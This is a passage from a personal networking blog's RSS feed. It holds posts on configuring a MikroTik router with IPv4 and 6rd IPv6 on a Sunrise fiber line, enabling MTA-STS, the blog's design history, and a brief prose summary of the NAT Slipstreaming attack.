  5451.    <content:encoded><![CDATA[<p><a href="https://www.truewealth.ch/" title="True Wealth - Swiss Online Wealth Management">TrueWealth</a> hat's nicht so mit Prozentrechnen:</p>
  5452. <p><img src="https://blog.x-way.org/images/truewealth-prozentrechnen.png" title="6 + 33 + 3 + 12 + 47 = ?" alt="6 + 33 + 3 + 12 + 47 = ?" width="335" height="196"></p>
  5453. ]]></content:encoded>
  5454.  </item>
  5455.  
  5456.  <item>
  5457.    <title>Using your own router on a Sunrise fiber line</title>
  5458.    <link>https://blog.x-way.org/Networking/2020/12/05/Using-your-own-router-on-a-Sunrise-fiber-line.html</link>
  5459.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324283</guid>
  5460.    <dc:creator>Andreas Jaggi</dc:creator>
  5461.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5462.    <pubDate>Sat, 05 Dec 2020 22:26:00 +0100</pubDate>
  5463.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5464.    <description><![CDATA[<p>Sunrise does not like when people run their own router on a fiber line. While they do not directly forbid it, they don't provide any of the required configuration parameters which makes it quite hard to use your own router.</p>
  5465. <p>Below you'll find the required configuration parameters to make your own router connect with IPv4 and IPv6 on a Sunrise fiber line.<br>Beware though that especially the VLAN configuration might be different depending on your city, the following worked for me in Zürich.</p>
  5466. <p>Also, please note that I do not recommend Sunrise as Internet provider (as a matter of fact I'm on the way out of their contract and switching to <a href="https://www.solnet.ch/" title="SolNet">SolNet</a>).<br>Besides not supporting to bring your own router, they also like to make up additional early-termination fees (the contract states 100CHF early termination fees, but once you call them to initiate the process they tell you that it's gonna cost 300CHF as they decided to change their pricing structure unilaterally).</p>
  5467.  
  5468. <p>Enough of the ranting, now to the interesting part :-)</p>
  5469.  
  5470. <p>The Sunrise line has multiple VLANs to differentiate between Internet, Phone and TV services.<br>To receive an IPv4 address it requires a special value for the Client Identifier DHCP option.<br>For IPv6 <a href="https://en.wikipedia.org/wiki/IPv6_rapid_deployment" title="IPv6 rapid deployment">6rd</a> is employed, for which we need to know the prefix and gateway address.</p>
  5471.  
  5472. <p>The following configuration was tested with a <a href="https://mikrotik.com/" title="MikroTik Routers and Wireless">MikroTik</a> CRS125 router starting from the default settings.<br>For simplicity I've named the network interfaces according to their intended usage (eg. <code>LAN</code>, <code>sunrise</code> and <code>6rd</code>).</p>
  5473.  
  5474. <p>The first step is to configure the VLAN on top of your fiber interface. In my case it was VLAN ID 131, others were also successful with VLAN ID 10.</p>
  5475.  
  5476. <pre>/interface vlan add interface=sfp1-gateway name=sunrise vlan-id=131</pre>
  5477.  
  5478. <p>Next let's put in place some basic firewall rules to make sure we're not exposing our LAN to the Internet once the connection comes up.</p>
  5479. <pre>/ip firewall filter
  5480. add action=accept chain=forward connection-state=established,related
  5481. add action=accept chain=forward in-interface=LAN out-interface=sunrise
  5482. add action=drop chain=forward
  5483. add action=accept chain=input connection-state=established,related
  5484. add action=accept chain=input protocol=icmp
  5485. add action=drop chain=input in-interface=!LAN</pre>
  5486. <pre>/ip firewall nat
  5487. add action=masquerade chain=srcnat out-interface=sunrise</pre>
  5488.  
  5489. <p>Now we can configure the special value for the Client Identifier DHCP option and configure the DHCP client on the VLAN interface.</p>
  5490. <pre>/ip dhcp-client option add code=61 name=clientid-sunrise value="'dslforum.org,Fast5360-sunrise'"</pre>
  5491. <pre>/ip dhcp-client add dhcp-options=clientid-sunrise disabled=no interface=sunrise</pre>
  5492.  
  5493. <p>This should now give us IPv4 Internet connectivity. We can test this by checking that we received an IPv4 address, have an IPv4 default route and that we can ping a host in the Internet.</p>
  5494.  
  5495. <pre>/ip dhcp-client print
  5496. Flags: X - disabled, I - invalid, D - dynamic
  5497. #   INTERFACE       USE-PEER-DNS ADD-DEFAULT-ROUTE STATUS        ADDRESS
  5498. 0   sunrise         yes          yes               bound         198.51.100.123/25</pre>
  5499. <pre>/ip route check 1.1
  5500.     status: ok
  5501.  interface: sunrise
  5502.    nexthop: 198.51.100.1</pre>
  5503. <pre>/ping count=1 1.1
  5504.  SEQ HOST                                     SIZE TTL TIME  STATUS
  5505.    0 1.0.0.1                                    56  59 1ms
  5506.    sent=1 received=1 packet-loss=0% min-rtt=1ms avg-rtt=1ms max-rtt=1ms</pre>
  5507.  
  5508. <p>Sunrise doesn't offer native IPv6 connectivity but employs 6rd (which defines how to create a 6to4 tunnel based on the public IPv4 address, an IPv6 prefix and the tunnel gateway).</p>
  5509. <p>Before we setup the 6rd tunnel, it's important to put in place firewall rules for IPv6 as afterwards all devices on the local network will receive a public IPv6 address.</p>
  5510. <pre>/ipv6 firewall filter
  5511. add action=accept chain=forward connection-state=established,related
  5512. add action=accept chain=forward in-interface=LAN
  5513. add action=drop chain=forward
  5514. add action=accept chain=input connection-state=established,related
  5515. add action=accept chain=input protocol=icmpv6
  5516. add action=drop chain=input</pre>
  5517.  
  5518. <p>To setup the 6rd tunnel, I've modified an existing script with the specific parameters for Sunrise (namely the <kbd>2001:1710::/28</kbd> prefix and the <kbd>212.161.209.1</kbd> tunnel gateway address).<br>The script creates the tunnel interface, configures an IPv6 address on the external interface, configures an IPv6 address on the internal interface (which also enables SLAAC to provide IPv6 addresses to the clients on the local network) and configures an IPv6 default route over the 6rd tunnel.</p>
  5519. <p>The script itself will be run via the scheduler, thus let's save it under the name <kbd>6rd-script</kbd>.</p>
  5520. <pre>
  5521. :global ipv6localinterface "LAN"
  5522. :global uplinkinterface "sunrise"
  5523.  
  5524. :global IPv4addr [/ip address get [find interface=$uplinkinterface] address];
  5525. :global IPv4addr [:pick $IPv4addr 0 [:find $IPv4addr "/"]]
  5526. :global IPv4addr2 [:pick $IPv4addr 0 30]
  5527. :global IPv6temp [:toip6 ("1::" . $IPv4addr2)]
  5528.  
  5529. :global IPv4hex1 [:pick $IPv6temp 3 4]
  5530. :global IPv4hex2 [:pick $IPv6temp 4 7]
  5531. :global IPv4hex3 [:pick $IPv6temp 8 9]
  5532. :global IPv4hex4 [:pick $IPv6temp 9 12]
  5533. :global IPv6addr [("2001:171" . $IPv4hex1 . ":". $IPv4hex2 .$IPv4hex3 . ":" . $IPv4hex4 . "0::1/64")]
  5534. :global IPv6addrLoc [("2001:171" . $IPv4hex1 . ":". $IPv4hex2 . $IPv4hex3 . ":" . $IPv4hex4 . "1::1/64")]
  5535.  
  5536. #6to4 interface
  5537. :global 6to4id [/interface 6to4 find where name="6rd"]
  5538. :if ($6to4id!="") do={
  5539. :global 6to4addr [/interface 6to4 get $6to4id local-address]
  5540. if ($6to4addr != $IPv4addr) do={ :log warning "Updating local-address for 6to4 tunnel '6rd' from '$6to4addr' to '$IPv4addr'."; /interface 6to4 set [find name="6rd"] local-address=$IPv4addr }
  5541. } else { :log warning "Creating 6to4 interface '6rd'. "; /interface 6to4 add !keepalive local-address=$IPv4addr mtu=1480 name="6rd" remote-address=212.161.209.1 }
  5542.  
  5543. #ipv6 for uplink
  5544. :global IPv6addrnumber [/ipv6 address find where comment="6rd" and interface="6rd"]
  5545. :if ($IPv6addrnumber!="") do={
  5546. :global oldip ([/ipv6 address get $IPv6addrnumber address])
  5547. if ($oldip != $IPv6addr) do={ :log warning "Updating 6rd IPv6 from '$oldip' to '$IPv6addr'."; /ipv6 address set number=$IPv6addrnumber address=$IPv6addr disabled=no }
  5548. } else {:log warning "Setting up 6rd IPv6 '$IPv6addr' to '6rd'. "; /ipv6 address add address=$IPv6addr interface="6rd" comment="6rd" advertise=no }
  5549.  
  5550. #ipv6 for local
  5551. :global IPv6addrnumberLocal [/ipv6 address find where comment=("6rd_local") and interface=$ipv6localinterface]
  5552. :if ($IPv6addrnumberLocal!="") do={
  5553. :global oldip ([/ipv6 address get $IPv6addrnumberLocal address])
  5554. if ($oldip != $IPv6addrLoc) do={ :log warning "Updating 6rd LOCAL IPv6 from '$oldip' to '$IPv6addrLoc'."; /ipv6 address set number=$IPv6addrnumberLocal address=$IPv6addrLoc disabled=no }
  5555. } else {:log warning "Setting up 6rd LOCAL IPv6 '$IPv6addrLoc' na '$ipv6localinterface'. "; /ipv6 address add address=$IPv6addrLoc interface=$ipv6localinterface comment="6rd_local" advertise=yes }
  5556.  
  5557. #ipv6 route
  5558. :global routa [/ipv6 route find where dst-address="2000::/3" and gateway="6rd"]
  5559. if ($routa="") do={ :log warning "Setting IPv6 route '2000::/3' pres '6rd'. "; /ipv6 route add distance=1 dst-address="2000::/3" gateway="6rd" }
  5560. </pre>
  5561.  
  5562. <p>Once we've added the script we also need to create the scheduler entry to run it periodically (as it needs to re-configure the tunnel and addresses whenever the public IPv4 address changes).</p>
  5563. <pre>/system scheduler add interval=1m name=schedule1 on-event=6rd-script</pre>
  5564.  
  5565. <p>After the first run of the script we should now have IPv6 connectivity. Let's test this again by checking that we have a public IPv6 address, an IPv6 default route and can ping an IPv6 host in the Internet.</p>
  5566.  
  5567. <pre>/ipv6 address print where interface=6rd and global
  5568. Flags: X - disabled, I - invalid, D - dynamic, G - global, L - link-local
  5569. #    ADDRESS                                     FROM-POOL INTERFACE        ADVERTISE
  5570. 0  G ;;; 6rd
  5571.      2001:171c:6336:47b0::1/64                             6rd              no</pre>
  5572. <pre>/ipv6 route check 2600::
  5573.     status: ok
  5574.  interface: 6rd
  5575.    nexthop: 2600::</pre>
  5576. <pre>/ping count=1 2600::
  5577.  SEQ HOST                                     SIZE TTL TIME  STATUS
  5578.    0 2600::                                     56  50 118ms echo reply
  5579.    sent=1 received=1 packet-loss=0% min-rtt=118ms avg-rtt=118ms max-rtt=118ms</pre>
  5580.  
  5581. <p>And that's how you can configure and validate IPv4 and IPv6 connectivity with your own router on a Sunrise fiber line despite them not liking it very much ;-)</p>
  5582. ]]></description>
  5583.    <content:encoded><![CDATA[<p>Sunrise does not like when people run their own router on a fiber line. While they do not directly forbid it, they don't provide any of the required configuration parameters which makes it quite hard to use your own router.</p>
  5584. <p>Below you'll find the required configuration parameters to make your own router connect with IPv4 and IPv6 on a Sunrise fiber line.<br>Beware though that especially the VLAN configuration might be different depending on your city, the following worked for me in Zürich.</p>
  5585. <p>Also, please note that I do not recommend Sunrise as Internet provider (as a matter of fact I'm on the way out of their contract and switching to <a href="https://www.solnet.ch/" title="SolNet">SolNet</a>).<br>Besides not supporting to bring your own router, they also like to make up additional early-termination fees (the contract states 100CHF early termination fees, but once you call them to initiate the process they tell you that it's gonna cost 300CHF as they decided to change their pricing structure unilaterally).</p>
  5586.  
  5587. <p>Enough of the ranting, now to the interesting part :-)</p>
  5588.  
  5589. <p>The Sunrise line has multiple VLANs to differentiate between Internet, Phone and TV services.<br>To receive an IPv4 address it requires a special value for the Client Identifier DHCP option.<br>For IPv6 <a href="https://en.wikipedia.org/wiki/IPv6_rapid_deployment" title="IPv6 rapid deployment">6rd</a> is employed, for which we need to know the prefix and gateway address.</p>
  5590.  
  5591. <p>The following configuration was tested with a <a href="https://mikrotik.com/" title="MikroTik Routers and Wireless">MikroTik</a> CRS125 router starting from the default settings.<br>For simplicity I've named the network interfaces according to their intended usage (eg. <code>LAN</code>, <code>sunrise</code> and <code>6rd</code>).</p>
  5592.  
  5593. <p>The first step is to configure the VLAN on top of your fiber interface. In my case it was VLAN ID 131, others were also successful with VLAN ID 10.</p>
  5594.  
  5595. <pre>/interface vlan add interface=sfp1-gateway name=sunrise vlan-id=131</pre>
  5596.  
  5597. <p>Next let's put in place some basic firewall rules to make sure we're not exposing our LAN to the Internet once the connection comes up.</p>
  5598. <pre>/ip firewall filter
  5599. add action=accept chain=forward connection-state=established,related
  5600. add action=accept chain=forward in-interface=LAN out-interface=sunrise
  5601. add action=drop chain=forward
  5602. add action=accept chain=input connection-state=established,related
  5603. add action=accept chain=input protocol=icmp
  5604. add action=drop chain=input in-interface=!LAN</pre>
  5605. <pre>/ip firewall nat
  5606. add action=masquerade chain=srcnat out-interface=sunrise</pre>
  5607.  
  5608. <p>Now we can configure the special value for the Client Identifier DHCP option and configure the DHCP client on the VLAN interface.</p>
  5609. <pre>/ip dhcp-client option add code=61 name=clientid-sunrise value="'dslforum.org,Fast5360-sunrise'"</pre>
  5610. <pre>/ip dhcp-client add dhcp-options=clientid-sunrise disabled=no interface=sunrise</pre>
  5611.  
  5612. <p>This should now give us IPv4 Internet connectivity. We can test this by checking that we received an IPv4 address, have an IPv4 default route and that we can ping a host in the Internet.</p>
  5613.  
  5614. <pre>/ip dhcp-client print
  5615. Flags: X - disabled, I - invalid, D - dynamic
  5616. #   INTERFACE       USE-PEER-DNS ADD-DEFAULT-ROUTE STATUS        ADDRESS
  5617. 0   sunrise         yes          yes               bound         198.51.100.123/25</pre>
  5618. <pre>/ip route check 1.1
  5619.     status: ok
  5620.  interface: sunrise
  5621.    nexthop: 198.51.100.1</pre>
  5622. <pre>/ping count=1 1.1
  5623.  SEQ HOST                                     SIZE TTL TIME  STATUS
  5624.    0 1.0.0.1                                    56  59 1ms
  5625.    sent=1 received=1 packet-loss=0% min-rtt=1ms avg-rtt=1ms max-rtt=1ms</pre>
  5626.  
  5627. <p>Sunrise doesn't offer native IPv6 connectivity but employs 6rd (which defines how to create a 6to4 tunnel based on the public IPv4 address, an IPv6 prefix and the tunnel gateway).</p>
  5628. <p>Before we setup the 6rd tunnel, it's important to put in place firewall rules for IPv6 as afterwards all devices on the local network will receive a public IPv6 address.</p>
  5629. <pre>/ipv6 firewall filter
  5630. add action=accept chain=forward connection-state=established,related
  5631. add action=accept chain=forward in-interface=LAN
  5632. add action=drop chain=forward
  5633. add action=accept chain=input connection-state=established,related
  5634. add action=accept chain=input protocol=icmpv6
  5635. add action=drop chain=input</pre>
  5636.  
  5637. <p>To setup the 6rd tunnel, I've modified an existing script with the specific parameters for Sunrise (namely the <kbd>2001:1710::/28</kbd> prefix and the <kbd>212.161.209.1</kbd> tunnel gateway address).<br>The script creates the tunnel interface, configures an IPv6 address on the external interface, configures an IPv6 address on the internal interface (which also enables SLAAC to provide IPv6 addresses to the clients on the local network) and configures an IPv6 default route over the 6rd tunnel.</p>
  5638. <p>The script itself will be run via the scheduler, thus let's save it under the name <kbd>6rd-script</kbd>.</p>
  5639. <pre>
  5640. :global ipv6localinterface "LAN"
  5641. :global uplinkinterface "sunrise"
  5642.  
  5643. :global IPv4addr [/ip address get [find interface=$uplinkinterface] address];
  5644. :global IPv4addr [:pick $IPv4addr 0 [:find $IPv4addr "/"]]
  5645. :global IPv4addr2 [:pick $IPv4addr 0 30]
  5646. :global IPv6temp [:toip6 ("1::" . $IPv4addr2)]
  5647.  
  5648. :global IPv4hex1 [:pick $IPv6temp 3 4]
  5649. :global IPv4hex2 [:pick $IPv6temp 4 7]
  5650. :global IPv4hex3 [:pick $IPv6temp 8 9]
  5651. :global IPv4hex4 [:pick $IPv6temp 9 12]
  5652. :global IPv6addr [("2001:171" . $IPv4hex1 . ":". $IPv4hex2 .$IPv4hex3 . ":" . $IPv4hex4 . "0::1/64")]
  5653. :global IPv6addrLoc [("2001:171" . $IPv4hex1 . ":". $IPv4hex2 . $IPv4hex3 . ":" . $IPv4hex4 . "1::1/64")]
  5654.  
  5655. #6to4 interface
  5656. :global 6to4id [/interface 6to4 find where name="6rd"]
  5657. :if ($6to4id!="") do={
  5658. :global 6to4addr [/interface 6to4 get $6to4id local-address]
  5659. if ($6to4addr != $IPv4addr) do={ :log warning "Updating local-address for 6to4 tunnel '6rd' from '$6to4addr' to '$IPv4addr'."; /interface 6to4 set [find name="6rd"] local-address=$IPv4addr }
  5660. } else { :log warning "Creating 6to4 interface '6rd'. "; /interface 6to4 add !keepalive local-address=$IPv4addr mtu=1480 name="6rd" remote-address=212.161.209.1 }
  5661.  
  5662. #ipv6 for uplink
  5663. :global IPv6addrnumber [/ipv6 address find where comment="6rd" and interface="6rd"]
  5664. :if ($IPv6addrnumber!="") do={
  5665. :global oldip ([/ipv6 address get $IPv6addrnumber address])
  5666. if ($oldip != $IPv6addr) do={ :log warning "Updating 6rd IPv6 from '$oldip' to '$IPv6addr'."; /ipv6 address set number=$IPv6addrnumber address=$IPv6addr disabled=no }
  5667. } else {:log warning "Setting up 6rd IPv6 '$IPv6addr' to '6rd'. "; /ipv6 address add address=$IPv6addr interface="6rd" comment="6rd" advertise=no }
  5668.  
  5669. #ipv6 for local
  5670. :global IPv6addrnumberLocal [/ipv6 address find where comment=("6rd_local") and interface=$ipv6localinterface]
  5671. :if ($IPv6addrnumberLocal!="") do={
  5672. :global oldip ([/ipv6 address get $IPv6addrnumberLocal address])
  5673. if ($oldip != $IPv6addrLoc) do={ :log warning "Updating 6rd LOCAL IPv6 from '$oldip' to '$IPv6addrLoc'."; /ipv6 address set number=$IPv6addrnumberLocal address=$IPv6addrLoc disabled=no }
  5674. } else {:log warning "Setting up 6rd LOCAL IPv6 '$IPv6addrLoc' na '$ipv6localinterface'. "; /ipv6 address add address=$IPv6addrLoc interface=$ipv6localinterface comment="6rd_local" advertise=yes }
  5675.  
  5676. #ipv6 route
  5677. :global routa [/ipv6 route find where dst-address="2000::/3" and gateway="6rd"]
  5678. if ($routa="") do={ :log warning "Setting IPv6 route '2000::/3' pres '6rd'. "; /ipv6 route add distance=1 dst-address="2000::/3" gateway="6rd" }
  5679. </pre>
  5680.  
  5681. <p>Once we've added the script we also need to create the scheduler entry to run it periodically (as it needs to re-configure the tunnel and addresses whenever the public IPv4 address changes).</p>
  5682. <pre>/system scheduler add interval=1m name=schedule1 on-event=6rd-script</pre>
  5683.  
  5684. <p>After the first run of the script we should now have IPv6 connectivity. Let's test this again by checking that we have a public IPv6 address, an IPv6 default route and can ping an IPv6 host in the Internet.</p>
  5685.  
  5686. <pre>/ipv6 address print where interface=6rd and global
  5687. Flags: X - disabled, I - invalid, D - dynamic, G - global, L - link-local
  5688. #    ADDRESS                                     FROM-POOL INTERFACE        ADVERTISE
  5689. 0  G ;;; 6rd
  5690.      2001:171c:6336:47b0::1/64                             6rd              no</pre>
  5691. <pre>/ipv6 route check 2600::
  5692.     status: ok
  5693.  interface: 6rd
  5694.    nexthop: 2600::</pre>
  5695. <pre>/ping count=1 2600::
  5696.  SEQ HOST                                     SIZE TTL TIME  STATUS
  5697.    0 2600::                                     56  50 118ms echo reply
  5698.    sent=1 received=1 packet-loss=0% min-rtt=118ms avg-rtt=118ms max-rtt=118ms</pre>
  5699.  
  5700. <p>And that's how you can configure and validate IPv4 and IPv6 connectivity with your own router on a Sunrise fiber line despite them not liking it very much ;-)</p>
  5701. ]]></content:encoded>
  5702.  </item>
  5703.  
  5704.  <item>
  5705.    <title>MTA-STS</title>
  5706.    <link>https://blog.x-way.org/Networking/2020/11/21/MTA-STS.html</link>
  5707.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324282</guid>
  5708.    <dc:creator>Andreas Jaggi</dc:creator>
  5709.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5710.    <pubDate>Sat, 21 Nov 2020 09:47:00 +0100</pubDate>
  5711.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5712.    <description><![CDATA[<p>Recently I added <a href="https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_MTA_Strict_Transport_Security" title="SMTP MTA Strict-Transport-Security">MTA-STS</a> support to one of my domains, and it turns out that this was easier than expected.</p>
  5713. <p>MTA-STS is used to tell mail senders that your server supports TLS. And then you can define the policy for your server and tell them that they should only use TLS (resp. STARTTLS) when connecting to you and not fall back to unencrypted SMTP.</p>
  5714. <p>The way this works is with two components:</p>
  5715. <ul>
  5716. <li>a special <code>_mta-sts.&lt;your-site.com&gt;</code> TXT DNS entry indicating that your domain supports MTA-STS and the version number of your MTA-STS policy</li>
  5717. <li>a mta-sts.txt file served under a specific well-known URL <code>https://mta-sts.&lt;your-site.com&gt;/.well-known/mta-sts.txt</code> containing your MTA-STS policy (which mx hosts it is valid for, should it be run in enforcing or testing mode, max-age etc.)</li>
  5718. </ul>
  5719. <p>The idea is that a mail sender checks your MTA-STS policy through protected channels (DNSSEC, HTTPS) and then never sends mails to you in plaintext (similar approach as <a href="https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security" title="HTTP Strict Transport Security">HSTS</a> for HTTP but this time between mail servers).</p>
  5720.  
  5721. <p>To setup the MTA-STS configuration, I followed this <a href="https://www.naut.ca/blog/2020/04/07/mta-sts-in-5-minutes/" title="Enable MTA-STS in 5 Minutes with NGINX">Enable MTA-STS in 5 Minutes with NGINX</a> guide from <a href="https://www.naut.ca/" title="Home - Yoonsik Park">Yoonsik Park</a>.</p>
  5722. <p>Then to check my configuration I used this <a href="https://aykevl.nl/apps/mta-sts/" title="MTA-STS validator">MTA-STS validator</a> (which is an opensource project available on <a href="https://github.com/aykevl/mta-sts" title="GitHub - aykevl/mta-sts: Online tool for MTA-STS checking: https://aykevl.nl/apps/mta-sts/">GitHub</a>), the classic <a href="https://www.checktls.com/TestReceiver" title="//email/testTo:">checktls.com //email/testTo: tool</a> (MTA-STS checking needs to be explicitly enabled under 'More Options') and the free testing service provided by <a href="https://www.hardenize.com/" title="Harenize: Comprehensive web site configuration test">Hardenize</a>.</p>
  5723. ]]></description>
  5724.    <content:encoded><![CDATA[<p>Recently I added <a href="https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_MTA_Strict_Transport_Security" title="SMTP MTA Strict-Transport-Security">MTA-STS</a> support to one of my domains, and it turns out that this was easier than expected.</p>
  5725. <p>MTA-STS is used to tell mail senders that your server supports TLS. And then you can define the policy for your server and tell them that they should only use TLS (resp. STARTTLS) when connecting to you and not fall back to unencrypted SMTP.</p>
  5726. <p>The way this works is with two components:</p>
  5727. <ul>
  5728. <li>a special <code>_mta-sts.&lt;your-site.com&gt;</code> TXT DNS entry indicating that your domain supports MTA-STS and the version number of your MTA-STS policy</li>
  5729. <li>a mta-sts.txt file served under a specific well-known URL <code>https://mta-sts.&lt;your-site.com&gt;/.well-known/mta-sts.txt</code> containing your MTA-STS policy (which mx hosts it is valid for, should it be run in enforcing or testing mode, max-age etc.)</li>
  5730. </ul>
  5731. <p>The idea is that a mail sender checks your MTA-STS policy through protected channels (DNSSEC, HTTPS) and then never sends mails to you in plaintext (similar approach as <a href="https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security" title="HTTP Strict Transport Security">HSTS</a> for HTTP but this time between mail servers).</p>
  5732.  
  5733. <p>To setup the MTA-STS configuration, I followed this <a href="https://www.naut.ca/blog/2020/04/07/mta-sts-in-5-minutes/" title="Enable MTA-STS in 5 Minutes with NGINX">Enable MTA-STS in 5 Minutes with NGINX</a> guide from <a href="https://www.naut.ca/" title="Home - Yoonsik Park">Yoonsik Park</a>.</p>
  5734. <p>Then to check my configuration I used this <a href="https://aykevl.nl/apps/mta-sts/" title="MTA-STS validator">MTA-STS validator</a> (which is an opensource project available on <a href="https://github.com/aykevl/mta-sts" title="GitHub - aykevl/mta-sts: Online tool for MTA-STS checking: https://aykevl.nl/apps/mta-sts/">GitHub</a>), the classic <a href="https://www.checktls.com/TestReceiver" title="//email/testTo:">checktls.com //email/testTo: tool</a> (MTA-STS checking needs to be explicitly enabled under 'More Options') and the free testing service provided by <a href="https://www.hardenize.com/" title="Harenize: Comprehensive web site configuration test">Hardenize</a>.</p>
  5735. ]]></content:encoded>
  5736.  </item>
  5737.  
  5738.  <item>
  5739.    <title>15 years of o5</title>
  5740.    <link>https://blog.x-way.org/Webdesign/2020/11/01/15-years-of-o5.html</link>
  5741.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324281</guid>
  5742.    <dc:creator>Andreas Jaggi</dc:creator>
  5743.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5744.    <pubDate>Sun, 01 Nov 2020 19:03:00 +0100</pubDate>
  5745.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  5746.    <description><![CDATA[<p><a href="https://blog.x-way.org/Webdesign/2005/11/01/CSS-Reboot-Fall-2005.html" title="x-log - CSS Reboot Fall 2005">15 years ago</a> this weblog received the current o5 design (or theme as it would be called nowadays).<br>
  5747. During this time the design has aged quite well and also survived <a href="https://blog.x-way.org/Misc/2011/11/26/Online-Again.html" title="x-log - Online Again">the move</a> of the backend from a self-written PHP blog-engine to Jekyll.</p>
  5748. <p>Although it still works surprisingly well and presents the content nicely every day, there are some parts where better usage of contemporary technologies would be desirable.<br>It has no mobile version nor a responsive layout as the design was created before the now omnipresent smartphones were invented. Similar is the font-size hardcoded and not very adequate for todays retina displays. And yes, it uses the XHTML 1.0 strict standard with all its quirks and CSS tricks from 2002 (which luckily are still supported in current browsers).</p>
  5749. <p>Overall I'm quite happy that the o5 design has turned out to be so timeless and that I did not have to come up with a new one every other year (btw: I don't remember where the o5 name came from, likely the 5 is a reference to 2005 when it was created).</p>
  5750. <p>With the current Corona situation forcing me to spend more time at home again, I have the feeling that some things might change around the weblog (not quite sure what or when exactly, first I need to re-learn how websites are built in 2020 :-).</p>
  5751. ]]></description>
  5752.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/Webdesign/2005/11/01/CSS-Reboot-Fall-2005.html" title="x-log - CSS Reboot Fall 2005">15 years ago</a> this weblog received the current o5 design (or theme as it would be called nowadays).<br>
  5753. During this time the design has aged quite well and also survived <a href="https://blog.x-way.org/Misc/2011/11/26/Online-Again.html" title="x-log - Online Again">the move</a> of the backend from a self-written PHP blog-engine to Jekyll.</p>
  5754. <p>Although it still works surprisingly well and presents the content nicely every day, there are some parts where better usage of contemporary technologies would be desirable.<br>It has no mobile version nor a responsive layout as the design was created before the now omnipresent smartphones were invented. Similar is the font-size hardcoded and not very adequate for todays retina displays. And yes, it uses the XHTML 1.0 strict standard with all its quirks and CSS tricks from 2002 (which luckily are still supported in current browsers).</p>
  5755. <p>Overall I'm quite happy that the o5 design has turned out to be so timeless and that I did not have to come up with a new one every other year (btw: I don't remember where the o5 name came from, likely the 5 is a reference to 2005 when it was created).</p>
  5756. <p>With the current Corona situation forcing me to spend more time at home again, I have the feeling that some things might change around the weblog (not quite sure what or when exactly, first I need to re-learn how websites are built in 2020 :-).</p>
  5757. ]]></content:encoded>
  5758.  </item>
  5759.  
  5760.  <item>
  5761.    <title>NAT Slipstreaming (NAT traversal part 2)</title>
  5762.    <link>https://blog.x-way.org/Networking/2020/10/31/NAT-Slipstreaming.html</link>
  5763.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324280</guid>
  5764.    <dc:creator>Andreas Jaggi</dc:creator>
  5765.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5766.    <pubDate>Sat, 31 Oct 2020 22:55:00 +0100</pubDate>
  5767.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  5768.    <description><![CDATA[<p>Compared to the <a href="https://blog.x-way.org/Networking/2020/08/23/How-NAT-traversal-works.html" title="x-log - How NAT traversal works">previous post</a> where intentional NAT traversal was discussed, here now comes an article about 'unintentional' (malicious) NAT traversal.</p>
  5769. <p><a href="https://samy.pl/" title="Samy Kamar">Samy Kamar</a> describes in his <a href="https://samy.pl/slipstream/" title="Samy Kamar - NAT Slipstreaming">NAT Slipstreaming article</a> how a combination of TCP packet segmentation and smuggling SIP requests in HTTP, can be used to trick the NAT <abbr title="Application Layer Gateway">ALG</abbr> of your router into opening arbitrary ports for inbound connections from the Internet to your computer.</p>
  5770. <p>The article analyses in detail the SIP ALG of the Linux netfilter stack in it's default configuration, but likely similar attacks could also be possible with ALGs of other protocols and vendors.</p>
  5771. <p>Important to note: the Linux SIP ALG module has two parameters (sip_direct_media and sip_direct_signalling), which restrict the IP address for which additional ports are opened to the one sending the original SIP packet. By default they are set to 1, but if any of these is set to 0 in a router's configuration, the described NAT Slipstreaming attack will not only allow to make inbound connections to your computer, but also to any other device in the local network!</p>
  5772. ]]></description>
  5773.    <content:encoded><![CDATA[<p>Compared to the <a href="https://blog.x-way.org/Networking/2020/08/23/How-NAT-traversal-works.html" title="x-log - How NAT traversal works">previous post</a> where intentional NAT traversal was discussed, here now comes an article about 'unintentional' (malicious) NAT traversal.</p>
  5774. <p><a href="https://samy.pl/" title="Samy Kamar">Samy Kamar</a> describes in his <a href="https://samy.pl/slipstream/" title="Samy Kamar - NAT Slipstreaming">NAT Slipstreaming article</a> how a combination of TCP packet segmentation and smuggling SIP requests in HTTP, can be used to trick the NAT <abbr title="Application Layer Gateway">ALG</abbr> of your router into opening arbitrary ports for inbound connections from the Internet to your computer.</p>
  5775. <p>The article analyses in detail the SIP ALG of the Linux netfilter stack in it's default configuration, but likely similar attacks could also be possible with ALGs of other protocols and vendors.</p>
  5776. <p>Important to note: the Linux SIP ALG module has two parameters (sip_direct_media and sip_direct_signalling), which restrict the IP address for which additional ports are opened to the one sending the original SIP packet. By default they are set to 1, but if any of these is set to 0 in a router's configuration, the described NAT Slipstreaming attack will not only allow to make inbound connections to your computer, but also to any other device in the local network!</p>
  5777. ]]></content:encoded>
  5778.  </item>
  5779.  
  5780.  <item>
  5781.    <title>How NAT traversal works</title>
  5782.    <link>https://blog.x-way.org/Networking/2020/08/23/How-NAT-traversal-works.html</link>
  5783.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324279</guid>
  5784.    <dc:creator>Andreas Jaggi</dc:creator>
  5785.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  5786.    <pubDate>Sun, 23 Aug 2020 21:08:00 +0200</pubDate>
  5787.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
